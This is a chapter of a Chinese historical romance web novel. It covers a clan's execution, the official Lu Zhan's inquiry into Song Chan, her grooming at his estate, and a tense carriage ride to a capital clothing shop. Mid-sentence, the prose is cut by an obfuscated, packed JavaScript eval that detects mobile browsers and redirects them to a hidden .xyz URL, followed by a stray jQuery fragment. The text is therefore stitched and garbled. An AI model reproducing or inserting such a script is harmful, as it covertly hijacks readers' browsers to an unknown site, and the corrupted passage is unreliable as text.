沈家行刑的日子定在了二十七日，午时三刻。


    这是钦天监算好的时辰，阳气最炽，能压制邪崇，


    城楼望台上，陆湛与薛行简并肩而立。


    薛行简本就是京中有名的风流公子，爱慕他的小娘子不在少数。他生得极好，眉眼温润，举手投足间无不透露着世家公子的风范。


    然而站在气场更为强大的陆湛身边，薛行简竟都被衬得有些逊色。


    陆湛身量极高，一身墨色劲装包裹着宽肩窄腰，高鼻挺直如峰，眉目疏淡，虽透着拒人千里的距离感，但仅仅站在那里便自带无限风华。


    望台下，沈知培及沈氏族人三械加身，乌压压地跪了一地，等待着最终的审判。


    褪去了往日的华服，再无往日的风光威容，所谓达官高门，也不过如沧海一粟而已。


    “时辰已到！”威严的喝令划破天际，刽子手大刀落下，天际溅起一片血色。


    沈氏男丁首级被高悬于城墙之上，以儆效尤，殷红的血蜿蜒而下，留下一道道触目惊心的血痕。


    百姓们面露惊惶之色，议论感慨后，围观的人群逐渐散去，陆湛与薛行简的身影亦消失在城楼望台的尽头。


    薛行简的脸上难得凝着愁色：“没想到，沈知培宁可让全族陪葬，也不肯供出背后那个人的名字。”


    沈知培的案子看似是结束了，但也不过是斩断了亮处的几缕丝线，其背后牵扯的势力盘根错节，想必此时已于暗处伺机而动，谋划着一场更为隐秘的反击。


    在这个时刻贸然出击，无异于打草惊蛇之举，但新帝需要立威以震慑朝堂，在这个节骨眼上，也唯有迎难而上，别无他途。


    陆湛目光幽深，眸底闪过一丝寒意。


    “上次托你查的事，有消息了吗？”


    薛行简收回了目光，从怀中取出一卷绢册，递到陆湛手中。


    “这个宋蝉，还挺有意思，只可惜被被困在花月楼中，偏又是个罪臣之女。”


    他感慨着：“但凡是个男子，想必也能在商道里闯出一番天地。”


    绢册上记录着宋蝉的确与京城的部分官员家中有往来，但未查到有情报上的传递。


    凭借制香的手艺，原先宋蝉只是为楼里的姑娘制作简单的香膏，后来开始仿刻京中有名的胭脂水粉，再以低价卖给达官贵人家中仆妇与其外室，长此以往，攒下不少人脉银钱。


    陆湛对宋蝉有些刮目相看。


    一个在花月楼长大的女子，竟能从杂役丫头开始，将生意做到高官的后院里。其间人情世故复杂，绝非仅靠小聪明就能达成，着实令人意想不到。


    “除此之外，我还为你多打探到了一个人。”


    “谁？”


    薛行简笑容意味深长。


    “还有一个名叫吕蔚的书生，与宋蝉同吃同住，已到了要谈婚论嫁的地步。”


    陆湛阖上册子，指尖一遍一遍轻抚着册面，眸色晦暗，不知在想些什么。


    *


    从私狱出来已有半月，宋蝉也逐渐习惯了新宅子里的环境。


    这处介于京郊的宅邸，似乎是陆湛的私产。地方不大，但胜在布局精巧，几处庭院错落分布，打理得干净整洁，庭院中央一棵老榕树郁郁葱葱，植根粗壮，似已有好些年头。


    东头还有一间敞亮洁净的屋子，是特地为陆湛留的。只是陆湛似乎很少来这里，从宋蝉入住至今都没有见到过他。


    每日晨起，宋蝉都要先泡半个时辰的汤浴，汤池里加了特制的香药，既能润嫩肌肤，也能催饰身形。


    另有些特殊作用的药膏，每日抹在手上，让十指纤细莹润，亦能去掉她掌心的薄茧。


    宋蝉有些烦闷。


    她从未在这些外貌上耗费这样多的时间，也从没觉得自己身上有什么地方是不好的。


    只是到了这里，她才发现竟有这么多需要改变的。


    今日盥洗后，侍女苏罗递来一件云丝寝衣。


    宋蝉刚展开寝衣一角，便又急忙攥紧了。


    “当真要穿这件吗？”


    苏罗点点头：“是于嬷嬷让我拿来的。”


    云丝素以纤薄闻名天下，贴身穿着更是近乎透明。甫一上身，就将她的身线勾勒得一览无余，引人无限遐想。


    从前，哪怕是独自在屋里睡觉，宋蝉都会规矩妥帖地穿好寝衣寝裤。眼下穿着这种衣裳，实在是很不适应。


    再回到正堂，于嬷嬷已坐在中间，面前已站着三名年长的仆妇。


    待宋蝉站定，年长的仆妇们手拿量尺，毫无顾忌地丈量着她年轻蓬勃的玉体，从肩颈、腰身、臀腿，乃至足踝手腕的量度，皆被记录在册。


    最后一笔勾画毕，于嬷嬷接过仆妇递来的册子，颇为满意地点了点头。


    半月来的汤浴起了成效，若说宋蝉原先还是含苞待绽的嫩芽，如今却像季夏时序的藤萝，垂坠欲滴了。


    “不错，你果然争气，是个好苗子。”


    于嬷嬷又道：“今日午膳后，大人会派人来接你进京采买。京城里的商户惯爱以衣貌打扮辨人高低，你记得打扮得体面些，别让他们看轻了。”


    进京？


    陆湛居然这样轻易便愿意放她进京，宋蝉心中讶然，但更多地是对进京盈满了期待，也没有多想什么。


    午后，丫鬟苏罗为宋蝉换上一件淡蓝色的褙子长裙，衣料轻盈，裙摆下方微微散开，绣着几枝淡雅的玉兰，行动间若花影摇曳生姿。


    坐在铜镜前，宋蝉心中忽然想起于嬷嬷的嘱托。


    “苏罗，替我绘一个自然别致些的妆吧。”


    一辆马车早已停在宅门外，见宋蝉走过来，车夫为她掀开车帘幕的一角。


    “娘子请上车吧。”


    马车以檀木制成，车壁雕刻云纹连绕，连车夫手中的缰绳都由柔韧的上好皮料制成，细节处无一不彰显奢华。


    她从未坐过这样好的马车，一时连动作都有些拘谨。


    只是刚踏进马车内部，宋蝉便怔在原地。


    陆湛竟也坐在车内。


    他靠坐在绫罗制成的枕背上，身姿挺括俊朗，与车内的华贵氛围相得益彰。


    宋蝉未曾想到陆湛居然也要与她同去，也根本还没有做好与他见面的准备。突如其来的变化，让她有些措手不及。


    或许是在思索政事，陆湛始终闭着眼睛。


    宋蝉也不由得屏住呼吸，怕扰了他的神思。


    习武之人，对周遭的情形事物尤为敏感。


    陆湛虽未睁眼，却好似已透过眼帘，看见了她所有的神情动作。


    “坐过来。”声音虽不高，却透着不容置疑的威严。


    宋蝉身形微微一颤，眼底闪过一丝惊惶，下意识地揪紧衣角。


    可面对陆湛的命令，她不敢违抗，只能硬着头皮，缓缓靠近他，坐在他的身边。


    她与他先前也有过这么近的距离，但那时的陆湛身上尽是上位者的倨傲与冰冷，挟带着沉重的压迫感。


    而现在，他阖上那双最为锐利的眼睛，那种令人发惧的锐气终于少了几分。


    宋蝉竟然也敢抬起眼，悄悄打量起他的容貌。


    光论这张脸，实在是无可挑剔。他的鼻梁很高，脸部线条凌厉，却带着武官文相的俊秀。


    常年习武使他周身散发着一种与生俱来的力量感，随意搭在腿上的大手骨节分明，手背青筋隐现，长指修长有力，看得宋蝉莫名感到耳廓发烫，连忙移开了目光。


    虽然已经刻意留了些距离，但马车行驶起来，难免颠簸，她和陆湛的膝盖总是不经


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769301|157819||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意地触碰在一起。


    每一次触碰，都让宋蝉心头一紧，脸颊泛起了不易察觉的红晕。


    马车内燃着银碳，烘得氛围滚烫，宋蝉在车内坐了一会，便感到微微发汗，意欲脱下外面一层小袄。


    她不敢有太明显的动作，只能微微地将膝盖往回缩，尽量避免与他的触碰。


    小袄刚褪至肩头，马车忽然剧烈颠簸起来，宋蝉猝不及防地撞进了陆湛的怀里。


    脸颊贴着陆湛坚实的胸膛，他身上的温热气息萦绕在周遭，那气息如他人一般，具有极强的攻略性，让宋蝉的心跳陡然加快。


    她红着脸推了推陆湛的胳膊，想要借力起身。


    陆湛却没放手。


    那双大手带着不容抗拒的力量，扣在她的肩上，她的身体已经很热了，可陆湛的手竟然比她更热。


    透着一层衣料，如火一般的滚烫、所经之处竟是燎原。


    他缓缓睁开眼，目光落在宋蝉的脸上，从她莹洁的雪额，到用心绘了妆容的眉眼，再向下，一寸寸扫视，最终停留在那微微发颤的娇唇上。


    “容貌是较之前有些变化了。”


    宋蝉的脑中一片空白，只能听见自己如鼓般的心跳声。


    她不知该说些什么，只是木然道：“于嬷嬷悉心教导，民女不敢辜负……”


    话未说完，陆湛便将她扶正回去，面容平静如水，仿佛刚才什么都没发生过一般。


    “只是仪态还需向京中贵女们多下下功夫。”


    陆湛复又靠在椅枕上，闭了眼，徒留宋蝉怔在原处。


    约莫半个时辰后，马车停了下来。


    陆湛兀自先下马车，宋蝉戴上备好的幂篱，也紧忙跟了上去。


    京城长街正是最热闹的时候，小贩的叫卖声不绝于耳，道路两旁商户林立，繁华得令人目不暇接。


    在市井的欢声笑语中，刚才车上发生的尴尬很快便淡去了。


    这是宋蝉第二次来到京城，看着京城热闹的情景，心情居然有些复杂。


    云都和京城距离并不遥远，搭乘驴车不消半日便能到达。


    只是她在花月楼做工，想请两日假并不容易，更别说还要扣掉工钱。先前为了供吕蔚读书，他们一向是能省则省，进京一趟的路费、住宿费样样都是钱，因此他们一直没能去京城逛逛。


    上次进京，也是她这辈子第一次进京，还是那年陪吕蔚进京参加讲学。


    京城的景象与她记忆中的没有变化太多，只是这一次，陪她来京城的人不再是吕蔚了。


    陆湛迈步进了门头很是高级的衣肆，宋蝉也快步跟上。


    这间衣肆宋蝉也有耳闻，是京中声名远扬的店铺，一向只接待身份贵重的客人。


    刚跨进门槛，一股淡雅的熏香便萦绕扑鼻。宋蝉识得这是琼州上好的沉香，素有一两沉香一两金的说法。


    这样一件衣肆，竟能用得起如此贵重的香料，便可知其奢华。


    店内一排排精致的成衣错落摆放，每一件都以金丝银线绣着繁复的图案，仅是那些图案，就需要几名老练的绣工耗费数月才能完成。


    宋蝉静静欣赏着眼前的衣服，眼中竟是惊叹。


    几名训练有素的侍女熟练地穿梭在衣物之间，行走之间的步风，引得宋蝉头上幂篱轻纱微动。


    在衣肆另一边的角落里，宋蝉忽然好像看见了一道极为熟悉的身影。


    那刹那，她感到心跳仿若凝滞，不禁攥紧双手，呼吸也为之一窒。


    陆湛也察觉了她的走神。


    “你在看什么？”


    宋蝉摇摇头：“没什么，只是刚才眼花，好像看见了一位故人。”


    陆湛拿起一块布料，在指间捻了捻，仿似只是不经意地随口一问：“是吗？是哪位故人？”